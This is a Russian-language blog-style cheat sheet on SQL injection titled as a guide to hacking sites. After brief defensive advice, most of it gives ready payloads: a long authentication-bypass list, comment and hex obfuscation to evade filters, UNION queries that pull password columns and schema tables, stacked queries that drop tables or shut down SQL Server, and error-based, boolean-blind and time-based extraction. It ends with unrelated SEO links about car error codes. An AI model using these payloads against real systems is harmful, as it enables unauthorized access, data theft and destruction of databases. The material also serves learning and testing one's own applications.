  5. Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.

Далее мы разберем их детальней.

Уязвимые точки

Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.

Защита от SQLi

Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.

Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.

Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.

Естественно, не забывайте про ограничение прав доступа к базе.

Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.

Классические атаки

Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:

Взламываем сайты: шпаргалка по SQL инъекциям

        userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName;
    

Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.

Комментирование

Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.

        SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    

Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:

        DROP/*some comment*/sampletable
DR/**/OP/*random comment to cheat*/sampletable

    

А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:

        /*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL.
Можно даже ограничить минимальную версию*/

такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии
SELECT /*!!50100 1/0, */ 1 FROM tablename 


    

Манипуляции со строками

Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:

        #SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members
    

В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:

        //0x633A5C626F6F742E696E69 == c:boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
    

Обход аутентификации

Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:

        ' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
    

Union injection

UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.

Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.

        SELECT name, price FROM products UNION ALL SELECT name, pass FROM members 

#Такой запрос позволит получить данные о таблицах и найти таблицу пользователей
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
    

Последовательные запросы

Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:

        #Удаление таблицы
SELECT * FROM products WHERE productName = ""; DROP users--
#Выключение SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –

    

Возможный урон

Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.

Error-Based

Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.

Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:

        ' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Если ошибки перестали появляться, значит столбцы закончились
    

Слепые инъекции

В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.

Условные выражения

Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:

        #MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END;
    

Boolean-based

Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:

        TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND 
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND 
name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
#Этот запрос говорит нам, что ASCII-значение первого символа больше 78 
#дальнейший перебор определит точное значение 
    

Time-Based

Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:

        SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
    

Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.

Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.

Поделитесь в комментариях, каким стеком пользуетесь и как защищаете свой проект?

  • Ошибки приус 30 перевод
  • Ошибки приставов при выселении
  • Ошибки природы при создании человека
  • Ошибки приоры на панели приборов 2012
  • Ошибки приора расшифровка 1 поколение